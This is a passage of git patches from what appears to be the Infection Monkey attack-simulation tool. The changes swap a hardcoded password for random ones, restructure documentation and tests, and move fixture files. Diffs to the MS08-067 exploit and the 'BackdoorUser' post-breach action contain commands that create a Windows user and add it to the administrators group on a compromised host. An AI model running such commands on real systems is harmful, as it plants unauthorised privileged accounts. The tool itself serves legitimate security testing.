b/monkey/monkey_island/cc/services/config_schema/internal.py index c42992d1b73..1ce1c864b1d 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -397,12 +397,6 @@ "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit", }, - "remote_user_pass": { - "title": "Remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user", - }, }, }, "sambacry": { From 6e0c5eb8281e45ec8316a7c56af3bfa07501cdac Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 19:11:42 +0530 Subject: [PATCH 0496/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index ce4eed6efd8..4416742d47a 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -49,6 +49,7 @@ "* linux_cmds, windows_cmds = get_commands_to_add_user(", "* WormConfiguration.user_to_add, remote_user_pwd", "* )", + "*", "* super(BackdoorUser, self).__init__(", "* POST_BREACH_BACKDOOR_USER, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", "* )" @@ -113,7 +114,7 @@ "app_version": "0.4.4-0", "file_blobs": { "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", - "monkey/infection_monkey/post_breach/actions/add_user.py": "cae5a2428fa01b333a2e70365c9da1e189e31bc4", + "monkey/infection_monkey/post_breach/actions/add_user.py": "7e92eaf84bb507b51c17fe4f448e47a5ea1dd9e2", "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c" } From 1d544d162a4eb98365373c14574e2b9e74b6c707 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 19:17:45 +0530 Subject: [PATCH 0497/1360] Update CHANGELOG (generate random pwds) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 90ab8a7d876..bf105794e12 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -41,3 +41,4 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Address minor issues discovered by Dlint. #1075 +- Generate random passwords when creating a new user (create user PBA, ms08_67 exploit). #1174 From 636a201d19a6e95f8bfd28560a61c112cd248204 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 22:48:01 +0530 Subject: [PATCH 0498/1360] Set default password length to 32 in `get_random_password()` --- monkey/infection_monkey/utils/random_password_generator.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/random_password_generator.py b/monkey/infection_monkey/utils/random_password_generator.py index d205a9a018b..273343c2237 100644 --- a/monkey/infection_monkey/utils/random_password_generator.py +++ b/monkey/infection_monkey/utils/random_password_generator.py @@ -1,6 +1,8 @@ import secrets +SECRET_BYTE_LENGTH = 32 -def get_random_password(length: int = 12) -> str: + +def get_random_password(length: int = SECRET_BYTE_LENGTH) -> str: password = secrets.token_urlsafe(length) return password From fc82b2a9dcec0cee0284f41977701382305be2e5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 22:51:14 +0530 Subject: [PATCH 0499/1360] Replace "remote_user_pwd" with "random_password" --- monkey/infection_monkey/exploit/win_ms08_067.py | 6 +++--- monkey/infection_monkey/post_breach/actions/add_user.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 8e6daa8f4b0..2d005e5430e 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -231,7 +231,7 @@ def _exploit_host(self): ) exploited = False - remote_user_pwd = get_random_password() + random_password = get_random_password() for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) @@ -242,7 +242,7 @@ def _exploit_host(self): "cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( self._config.user_to_add, - remote_user_pwd, + random_password, self._config.user_to_add, ).encode() ) @@ -266,7 +266,7 @@ def _exploit_host(self): src_path, self._config.dropper_target_path_win_32, self._config.user_to_add, - remote_user_pwd, + random_password, ) if not remote_full_path: diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 7e92eaf84bb..26b048a492f 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -7,10 +7,10 @@ class BackdoorUser(PBA): def __init__(self): - remote_user_pwd = get_random_password() + random_password = get_random_password() linux_cmds, windows_cmds = get_commands_to_add_user( - WormConfiguration.user_to_add, remote_user_pwd + WormConfiguration.user_to_add, random_password ) super(BackdoorUser, self).__init__( From c77965585c09dcc1fd6c02199eeda18aaa84cb84 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 17 May 2021 22:54:19 +0530 Subject: [PATCH 0500/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 4416742d47a..50ad35ca08c 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -44,10 +44,10 @@ "*", "*class BackdoorUser(PBA):", "* def __init__(self):", - "* remote_user_pwd = get_random_password()", + "* random_password = get_random_password()", "*", "* linux_cmds, windows_cmds = get_commands_to_add_user(", - "* WormConfiguration.user_to_add, remote_user_pwd", + "* WormConfiguration.user_to_add, random_password", "* )", "*", "* super(BackdoorUser, self).__init__(", @@ -114,7 +114,7 @@ "app_version": "0.4.4-0", "file_blobs": { "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", - "monkey/infection_monkey/post_breach/actions/add_user.py": "7e92eaf84bb507b51c17fe4f448e47a5ea1dd9e2", + "monkey/infection_monkey/post_breach/actions/add_user.py": "26b048a492fcb6d319fc0c01d2f4a0bd302ecbc8", "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c" } From 883b7b04647ab61bc805c7d31e1b8c2848fbdbcc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 14 May 2021 16:19:52 +0300 Subject: [PATCH 0501/1360] Removed "Where does Infection Monkey store runtime artifacts?" section from FAQ. This talks about monkey internals, which is not a FAQ topic. --- docs/content/FAQ/_index.md | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 7ff1fe8cf94..55ff5b68151 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -9,9 +9,6 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) -- [Where does Infection Monkey store runtime artifacts?](#where-does-infection-monkey-store-runtime-artifacts) - - [Monkey Island server](#monkey-island-server) - - [Infection Monkey agent](#infection-monkey-agent) - [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) @@ -40,20 +37,6 @@ If you want to see what has changed between versions, refer to the [releases pag The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. -## Where does Infection Monkey store runtime artifacts? - -### Monkey Island server - -The Island server will need to store some files on the system on which it is running, such as the Island logs and any custom post-breach action files. - -For this, it uses a "data directory" which can be configured in the `data_dir` field in the `server_config.json` file. The default data directory on Linux is `$HOME/.monkey_island`, and on Windows is `%AppData%\monkey_island`. - -### Infection Monkey agent - -The Monkey agent will need to store or create some files on the system on which it is running. This includes the agent binaries, logs, and any files needed for the execution of custom post-breach actions or when attempting the Zerologon exploit. - -It does so by creating temporary directories on the system and storing the data there. - ## How do I reset the Monkey Island password? When you first access the Monkey Island server, you'll be prompted to create an account. From ec946d0ad8ccdc0f970736ad0513d952228ed119 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 09:34:25 +0300 Subject: [PATCH 0502/1360] Added a separate page for data directory in references --- docs/content/reference/data_directory.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 docs/content/reference/data_directory.md diff --git a/docs/content/reference/data_directory.md b/docs/content/reference/data_directory.md new file mode 100644 index 00000000000..83fe03116be --- /dev/null +++ b/docs/content/reference/data_directory.md @@ -0,0 +1,19 @@ +--- +title: "Data directory" +date: 2021-05-18T08:49:59+03:00 +draft: false +pre: ' ' +weight: 9 +--- + +## About data directory + +Data directory is where the Island server stores runtime artifacts. +Those arfifacts include the Island logs, any custom post-breach action files, +configuration files, etc. + +## Where is data directory + +On **Linux** it's in `$HOME/.monkey_island`. + +On **Windows** it's in `%AppData%\monkey_island`. From 4ce937fbb241b0302d4586e298e29088bb007a7b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 09:36:50 +0300 Subject: [PATCH 0503/1360] Improved the documentation of password reset by stating required modifications to server config file, rather than suggesting to copy-paste the whole file. --- docs/content/FAQ/_index.md | 38 +++++++++++++++++++++++++++----------- 1 file changed, 27 insertions(+), 11 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 55ff5b68151..26a89069231 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -9,7 +9,7 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) -- [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) +- [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) - [Logging and how to find logs](#logging-and-how-to-find-logs) @@ -37,23 +37,39 @@ If you want to see what has changed between versions, refer to the [releases pag The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. -## How do I reset the Monkey Island password? +## Reset/enable the Monkey Island password When you first access the Monkey Island server, you'll be prompted to create an account. -If you forget the credentials you entered, or just want to change them, you need to alter -the `server_config.json` file manually. - -On Linux, the default path to `server_config.json` is `$HOME/.monkey_island/server_config.json`. -On Windows, it is `%AppData%\monkey_island\server_config.json`. -Reset the contents of this file leaving the **deployment option unchanged** -(it might be "VMware" or "Linux" in your case): +To reset the credentials or enable/disable the authentication, +edit the `server_config.json` file manually +(located in [data directory](/reference/data_directory)). +The following edits need to be made: +1. Delete the `user` field if one exists. It will look like this: +```json +{ + ... + "user": "username", + ... +} +``` +1. Delete `password_hash` field if one exist. It will look like this: ```json { + ... + "password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342", + ... +} +``` +1. Set `server_config` to `password`. It should look like this: +```json +{ + ... "environment": { "server_config": "password", - "deployment": "windows" - } + ... + }, + ... } ``` Then, reset the Monkey Island process. From cef91aa428ae2cbee979d8fa94eb3fa5e42d30d4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 09:37:20 +0300 Subject: [PATCH 0504/1360] Improved the documentation by adding links to data directory --- docs/content/FAQ/_index.md | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 26a89069231..d01958f7910 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -105,9 +105,8 @@ You can download the Monkey Island's log file directly from the UI. Click the "l ![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file") -It can also be found as a local file on the Monkey Island server system in the specified data directory. -On Linux, the default path of the log file is `$HOME/.monkey_island/monkey_island.log`. -On Windows, it's `%AppData%\monkey_island\monkey_island.log`. +It can also be found as a local file on the Monkey Island server system in the specified +[data directory](/reference/data_directory). The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these: @@ -143,19 +142,16 @@ The logs contain information about the internals of the Infection Monkey agent's ### How do I change the log level of the Monkey Island logger? The log level of the Monkey Island logger is set in the `log_level` field -in the `server_config.json` file. -On Linux, the default path of `server_config.json` file -is `$HOME/.monkey_island/server_config.json`. -On Windows, it's `%AppData%\monkey_island\server_config.json`. +in the `server_config.json` file (located in [data directory](/reference/data_directory)). Make sure to leave everything else in `server_config.json` unchanged: ```json { "log_level": "DEBUG", "environment": { - "server_config": "password", - "deployment": "linux" - } + ... + }, + ... } ``` From 58b04ecb918562f1a06330aa58ae93d28db8fa75 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 10:03:59 +0300 Subject: [PATCH 0505/1360] Added unit test of random password generator --- .../utils/test_random_password_generator.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 monkey/tests/infection_monkey/utils/test_random_password_generator.py diff --git a/monkey/tests/infection_monkey/utils/test_random_password_generator.py b/monkey/tests/infection_monkey/utils/test_random_password_generator.py new file mode 100644 index 00000000000..bdd97cdfd85 --- /dev/null +++ b/monkey/tests/infection_monkey/utils/test_random_password_generator.py @@ -0,0 +1,13 @@ +from infection_monkey.utils.random_password_generator import get_random_password + + +def test_get_random_password__length(): + password_byte_length = len(get_random_password().encode()) + # 32 is the recommended secure byte length for secrets + assert password_byte_length >= 32 + + +def test_get_random_password__randomness(): + random_password1 = get_random_password() + random_password2 = get_random_password() + assert not random_password1 == random_password2 From a4a0aba0fe20711b26b22c3b45ef89bbc045a473 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 15:38:07 +0300 Subject: [PATCH 0506/1360] Refactored UT's fixtures to be on separate files and renamed folders/fixture to be more precise --- monkey/tests/conftest.py | 39 +------------------ .../logger_config.json | 0 .../{resources => mocked_data}/mongo_key.bin | 0 .../server_config_no_credentials.json | 3 ++ .../server_config_partial_credentials.json | 3 ++ .../server_config_standard_env.json | 3 ++ ...rver_config_standard_with_credentials.json | 3 ++ .../server_config_with_credentials.json | 3 ++ .../server_configs/test_server_config.json | 0 .../monkey_island/cc/environment/conftest.py | 23 +++++++++++ .../cc/environment/test_environment.py | 12 +++--- .../tests/monkey_island/cc/test_encryptor.py | 12 +++--- monkey/tests/monkey_island/conftest.py | 13 +++++++ 13 files changed, 65 insertions(+), 49 deletions(-) rename monkey/tests/{resources => mocked_data}/logger_config.json (100%) rename monkey/tests/{resources => mocked_data}/mongo_key.bin (100%) rename monkey/tests/{resources/environment => mocked_data/server_configs}/server_config_no_credentials.json (65%) rename monkey/tests/{resources/environment => mocked_data/server_configs}/server_config_partial_credentials.json (68%) rename monkey/tests/{resources/environment => mocked_data/server_configs}/server_config_standard_env.json (64%) rename monkey/tests/{resources/environment => mocked_data/server_configs}/server_config_standard_with_credentials.json (76%) rename monkey/tests/{resources/environment => mocked_data/server_configs}/server_config_with_credentials.json (73%) rename monkey/tests/{resources => mocked_data}/server_configs/test_server_config.json (100%) create mode 100644 monkey/tests/monkey_island/cc/environment/conftest.py create mode 100644 monkey/tests/monkey_island/conftest.py diff --git a/monkey/tests/conftest.py b/monkey/tests/conftest.py index 20e57f4d0ad..4cf7471f58b 100644 --- a/monkey/tests/conftest.py +++ b/monkey/tests/conftest.py @@ -9,43 +9,8 @@ @pytest.fixture(scope="session") -def resources_dir(pytestconfig): - return os.path.join(pytestconfig.rootdir, "monkey", "tests", "resources") - - -@pytest.fixture(scope="session") -def environment_resources_dir(resources_dir): - return os.path.join(resources_dir, "environment") - - -@pytest.fixture(scope="session") -def with_credentials(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_with_credentials.json") - - -@pytest.fixture(scope="session") -def no_credentials(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_no_credentials.json") - - -@pytest.fixture(scope="session") -def partial_credentials(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_partial_credentials.json") - - -@pytest.fixture(scope="session") -def standard_with_credentials(environment_resources_dir): - return os.path.join(environment_resources_dir, "server_config_standard_with_credentials.json") - - -@pytest.fixture(scope="session") -def server_config_resources_dir(resources_dir): - return os.path.join(resources_dir, "server_configs") - - -@pytest.fixture(scope="session") -def test_server_config(server_config_resources_dir): - return os.path.join(server_config_resources_dir, "test_server_config.json") +def mocked_data_dir(pytestconfig): + return os.path.join(pytestconfig.rootdir, "monkey", "tests", "mocked_data") @pytest.fixture diff --git a/monkey/tests/resources/logger_config.json b/monkey/tests/mocked_data/logger_config.json similarity index 100% rename from monkey/tests/resources/logger_config.json rename to monkey/tests/mocked_data/logger_config.json diff --git a/monkey/tests/resources/mongo_key.bin b/monkey/tests/mocked_data/mongo_key.bin similarity index 100% rename from monkey/tests/resources/mongo_key.bin rename to monkey/tests/mocked_data/mongo_key.bin diff --git a/monkey/tests/resources/environment/server_config_no_credentials.json b/monkey/tests/mocked_data/server_configs/server_config_no_credentials.json similarity index 65% rename from monkey/tests/resources/environment/server_config_no_credentials.json rename to monkey/tests/mocked_data/server_configs/server_config_no_credentials.json index 0b7de96ef2b..31da48aa4ab 100644 --- a/monkey/tests/resources/environment/server_config_no_credentials.json +++ b/monkey/tests/mocked_data/server_configs/server_config_no_credentials.json @@ -2,5 +2,8 @@ "environment" : { "server_config": "password", "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/tests/resources/environment/server_config_partial_credentials.json b/monkey/tests/mocked_data/server_configs/server_config_partial_credentials.json similarity index 68% rename from monkey/tests/resources/environment/server_config_partial_credentials.json rename to monkey/tests/mocked_data/server_configs/server_config_partial_credentials.json index 6158c4f3074..e29d514cde8 100644 --- a/monkey/tests/resources/environment/server_config_partial_credentials.json +++ b/monkey/tests/mocked_data/server_configs/server_config_partial_credentials.json @@ -3,5 +3,8 @@ "server_config": "password", "deployment": "develop", "user": "test" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/tests/resources/environment/server_config_standard_env.json b/monkey/tests/mocked_data/server_configs/server_config_standard_env.json similarity index 64% rename from monkey/tests/resources/environment/server_config_standard_env.json rename to monkey/tests/mocked_data/server_configs/server_config_standard_env.json index 3d5e0b8a0b6..9c3a9899fad 100644 --- a/monkey/tests/resources/environment/server_config_standard_env.json +++ b/monkey/tests/mocked_data/server_configs/server_config_standard_env.json @@ -2,5 +2,8 @@ "environment" : { "server_config": "standard", "deployment": "develop" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/tests/resources/environment/server_config_standard_with_credentials.json b/monkey/tests/mocked_data/server_configs/server_config_standard_with_credentials.json similarity index 76% rename from monkey/tests/resources/environment/server_config_standard_with_credentials.json rename to monkey/tests/mocked_data/server_configs/server_config_standard_with_credentials.json index b8cdf5258b8..28d8653c859 100644 --- a/monkey/tests/resources/environment/server_config_standard_with_credentials.json +++ b/monkey/tests/mocked_data/server_configs/server_config_standard_with_credentials.json @@ -5,5 +5,8 @@ "deployment": "develop", "user": "test", "password_hash": "abcdef" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/tests/resources/environment/server_config_with_credentials.json b/monkey/tests/mocked_data/server_configs/server_config_with_credentials.json similarity index 73% rename from monkey/tests/resources/environment/server_config_with_credentials.json rename to monkey/tests/mocked_data/server_configs/server_config_with_credentials.json index 73cd6bbc3b2..2f75c48fba9 100644 --- a/monkey/tests/resources/environment/server_config_with_credentials.json +++ b/monkey/tests/mocked_data/server_configs/server_config_with_credentials.json @@ -4,5 +4,8 @@ "deployment": "develop", "user": "test", "password_hash": "abcdef" + }, + "mongodb": { + "start_mongodb": true } } diff --git a/monkey/tests/resources/server_configs/test_server_config.json b/monkey/tests/mocked_data/server_configs/test_server_config.json similarity index 100% rename from monkey/tests/resources/server_configs/test_server_config.json rename to monkey/tests/mocked_data/server_configs/test_server_config.json diff --git a/monkey/tests/monkey_island/cc/environment/conftest.py b/monkey/tests/monkey_island/cc/environment/conftest.py new file mode 100644 index 00000000000..0450437a191 --- /dev/null +++ b/monkey/tests/monkey_island/cc/environment/conftest.py @@ -0,0 +1,23 @@ +import os + +import pytest + + +@pytest.fixture(scope="module") +def with_credentials(mocked_server_configs_dir): + return os.path.join(mocked_server_configs_dir, "server_config_with_credentials.json") + + +@pytest.fixture(scope="module") +def no_credentials(mocked_server_configs_dir): + return os.path.join(mocked_server_configs_dir, "server_config_no_credentials.json") + + +@pytest.fixture(scope="module") +def partial_credentials(mocked_server_configs_dir): + return os.path.join(mocked_server_configs_dir, "server_config_partial_credentials.json") + + +@pytest.fixture(scope="module") +def standard_with_credentials(mocked_server_configs_dir): + return os.path.join(mocked_server_configs_dir, "server_config_standard_with_credentials.json") diff --git a/monkey/tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/monkey_island/cc/environment/test_environment.py index 4c32cf137c4..3b0c2c713fd 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment.py @@ -27,7 +27,7 @@ # This fixture is a dirty hack that can be removed once these tests are converted from # unittest to pytest. Instead, the appropriate fixtures from conftest.py can be used. @pytest.fixture(scope="module", autouse=True) -def configure_resources(environment_resources_dir): +def configure_resources(mocked_server_configs_dir): global WITH_CREDENTIALS global NO_CREDENTIALS global PARTIAL_CREDENTIALS @@ -35,16 +35,16 @@ def configure_resources(environment_resources_dir): global STANDARD_ENV WITH_CREDENTIALS = os.path.join( - environment_resources_dir, "server_config_with_credentials.json" + mocked_server_configs_dir, "server_config_with_credentials.json" ) - NO_CREDENTIALS = os.path.join(environment_resources_dir, "server_config_no_credentials.json") + NO_CREDENTIALS = os.path.join(mocked_server_configs_dir, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join( - environment_resources_dir, "server_config_partial_credentials.json" + mocked_server_configs_dir, "server_config_partial_credentials.json" ) STANDARD_WITH_CREDENTIALS = os.path.join( - environment_resources_dir, "server_config_standard_with_credentials.json" + mocked_server_configs_dir, "server_config_standard_with_credentials.json" ) - STANDARD_ENV = os.path.join(environment_resources_dir, "server_config_standard_env.json") + STANDARD_ENV = os.path.join(mocked_server_configs_dir, "server_config_standard_env.json") def get_tmp_file(): diff --git a/monkey/tests/monkey_island/cc/test_encryptor.py b/monkey/tests/monkey_island/cc/test_encryptor.py index a7ad9e6b694..b92b6cf1132 100644 --- a/monkey/tests/monkey_island/cc/test_encryptor.py +++ b/monkey/tests/monkey_island/cc/test_encryptor.py @@ -8,20 +8,20 @@ CYPHERTEXT = "vKgvD6SjRyIh1dh2AM/rnTa0NI/vjfwnbZLbMocWtE4e42WJmSUz2ordtbQrH1Fq" -def test_aes_cbc_encryption(resources_dir): - initialize_encryptor(resources_dir) +def test_aes_cbc_encryption(mocked_data_dir): + initialize_encryptor(mocked_data_dir) assert get_encryptor().enc(PLAINTEXT) != PLAINTEXT -def test_aes_cbc_decryption(resources_dir): - initialize_encryptor(resources_dir) +def test_aes_cbc_decryption(mocked_data_dir): + initialize_encryptor(mocked_data_dir) assert get_encryptor().dec(CYPHERTEXT) == PLAINTEXT -def test_aes_cbc_enc_dec(resources_dir): - initialize_encryptor(resources_dir) +def test_aes_cbc_enc_dec(mocked_data_dir): + initialize_encryptor(mocked_data_dir) assert get_encryptor().dec(get_encryptor().enc(PLAINTEXT)) == PLAINTEXT diff --git a/monkey/tests/monkey_island/conftest.py b/monkey/tests/monkey_island/conftest.py new file mode 100644 index 00000000000..589f3f20ce0 --- /dev/null +++ b/monkey/tests/monkey_island/conftest.py @@ -0,0 +1,13 @@ +import os + +import pytest + + +@pytest.fixture(scope="module") +def mocked_server_configs_dir(mocked_data_dir): + return os.path.join(mocked_data_dir, "server_configs") + + +@pytest.fixture(scope="module") +def test_server_config(mocked_server_configs_dir): + return os.path.join(mocked_server_configs_dir, "test_server_config.json") From 8b438b3a75c69b4039141d6c8181c40d62f5eec4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 May 2021 15:40:53 +0300 Subject: [PATCH 0507/1360] Improved tests of environment config: file saving tests no longer coupled with file contents --- .../cc/environment/test_environment_config.py | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/monkey/tests/monkey_island/cc/environment/test_environment_config.py b/monkey/tests/monkey_island/cc/environment/test_environment_config.py index 6968a18aa70..481e871ae77 100644 --- a/monkey/tests/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/tests/monkey_island/cc/environment/test_environment_config.py @@ -50,13 +50,7 @@ def test_save_to_file(config_file, standard_with_credentials): with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 2 - assert len(from_file["environment"].keys()) == 5 - assert from_file["environment"]["server_config"] == "standard" - assert from_file["environment"]["deployment"] == "develop" - assert from_file["environment"]["user"] == "test" - assert from_file["environment"]["password_hash"] == "abcdef" - assert from_file["environment"]["aws"] == "test_aws" + assert environment_config.to_dict() == from_file["environment"] def test_save_to_file_preserve_log_level(config_file, standard_with_credentials): @@ -69,7 +63,6 @@ def test_save_to_file_preserve_log_level(config_file, standard_with_credentials) with open(config_file, "r") as f: from_file = json.load(f) - assert len(from_file.keys()) == 2 assert "log_level" in from_file assert from_file["log_level"] == "NOTICE" From a1014489efeb6d32b6e5fe6f188b99040a681f3b Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Wed, 19 May 2021 00:20:39 +0530 Subject: [PATCH 0508/1360] Tiny grammar/formatting changes in docs --- docs/content/FAQ/_index.md | 15 +++++++-------- docs/content/reference/data_directory.md | 13 ++++++------- 2 files changed, 13 insertions(+), 15 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index d01958f7910..9284e2c3228 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -42,9 +42,9 @@ The Infection Monkey agent shuts off either when it can't find new victims or it When you first access the Monkey Island server, you'll be prompted to create an account. To reset the credentials or enable/disable the authentication, edit the `server_config.json` file manually -(located in [data directory](/reference/data_directory)). +(located in the [data directory](/reference/data_directory)). -The following edits need to be made: +In order to reset the credentials, the following edits need to be made: 1. Delete the `user` field if one exists. It will look like this: ```json { @@ -53,7 +53,7 @@ The following edits need to be made: ... } ``` -1. Delete `password_hash` field if one exist. It will look like this: +1. Delete the `password_hash` field if one exists. It will look like this: ```json { ... @@ -66,6 +66,7 @@ The following edits need to be made: { ... "environment": { + ... "server_config": "password", ... }, @@ -142,15 +143,13 @@ The logs contain information about the internals of the Infection Monkey agent's ### How do I change the log level of the Monkey Island logger? The log level of the Monkey Island logger is set in the `log_level` field -in the `server_config.json` file (located in [data directory](/reference/data_directory)). +in the `server_config.json` file (located in the [data directory](/reference/data_directory)). Make sure to leave everything else in `server_config.json` unchanged: ```json { + ... "log_level": "DEBUG", - "environment": { - ... - }, ... } ``` @@ -158,7 +157,7 @@ Make sure to leave everything else in `server_config.json` unchanged: Logging levels correspond to [the logging level constants in python](https://docs.python.org/3.7/library/logging.html#logging-levels). To apply the changes, reset the Monkey Island process. -On Linux use `sudo systemctl restart monkey-island.service`. +On Linux, use `sudo systemctl restart monkey-island.service`. On Windows, restart the program. ## Running the Infection Monkey in a production environment diff --git a/docs/content/reference/data_directory.md b/docs/content/reference/data_directory.md index 83fe03116be..418c320fa7b 100644 --- a/docs/content/reference/data_directory.md +++ b/docs/content/reference/data_directory.md @@ -6,14 +6,13 @@ pre: ' ' weight: 9 --- -## About data directory +## What is the data directory? -Data directory is where the Island server stores runtime artifacts. -Those arfifacts include the Island logs, any custom post-breach action files, +The data directory is where the Island server stores runtime artifacts. +These include the Island logs, any custom post-breach action files, configuration files, etc. -## Where is data directory +## Where is it located? -On **Linux** it's in `$HOME/.monkey_island`. - -On **Windows** it's in `%AppData%\monkey_island`. +On Linux, the default path is `$HOME/.monkey_island`. +On Windows, the default path is `%AppData%\monkey_island`. From 8bbf4bae36c1fdabdcb2e690b0b2636b70e82a59 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 May 2021 09:27:26 +0300 Subject: [PATCH 0509/1360] Renamed mock_data_dir to data_for_tests --- monkey/tests/conftest.py | 4 ++-- .../logger_config.json | 0 .../mongo_key.bin | 0 .../server_config_no_credentials.json | 0 .../server_config_partial_credentials.json | 0 .../server_config_standard_env.json | 0 .../server_config_standard_with_credentials.json | 0 .../server_config_with_credentials.json | 0 